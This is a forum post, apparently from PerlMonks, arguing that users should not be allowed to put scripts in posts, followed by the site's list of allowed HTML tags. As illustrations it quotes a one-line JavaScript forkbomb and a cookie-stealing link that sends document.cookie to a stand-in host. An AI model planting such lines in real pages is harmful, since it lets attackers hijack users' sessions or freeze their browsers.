I agree. You should really not be able to use any scripting in nodes. Some argue that dangerous links can be protected, but I think that if a link really is dangerous, it should not be a link - give us the URL in plain text, if you have to.
Javascript forkbombs (for(;;) window.open(document.location)) and cookie stealers (<a href="javascript:'http://foo.com/?c='+document.cookie">) are too easy to do, and I don't think PM users should be given the power. There's the ability of using all Javascript you want on home nodes that can sometimes be entertaining, but I think we shouldn't be allowed to do any scripting at all.

Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:
<code> <a> <b> <big>
<blockquote> <br /> <dd>
<dl> <dt> <em> <font>
<h1> <h2> <h3> <h4>
<h5> <h6> <hr /> <i>
<li> <nbsp> <ol> <p>
<small> <strike> <strong>
<sub> <sup> <table>
<td> <th> <tr> <tt>
<u> <ul>
-
Snippets of code should be wrapped in
<code> tags not
<pre> tags. In fact, <pre>
tags should generally be avoided. If they must
be used, extreme care should be
taken to ensure that their contents do not
have long lines (<70 chars), in order to prevent
horizontal scrolling (and possible janitor
intervention).
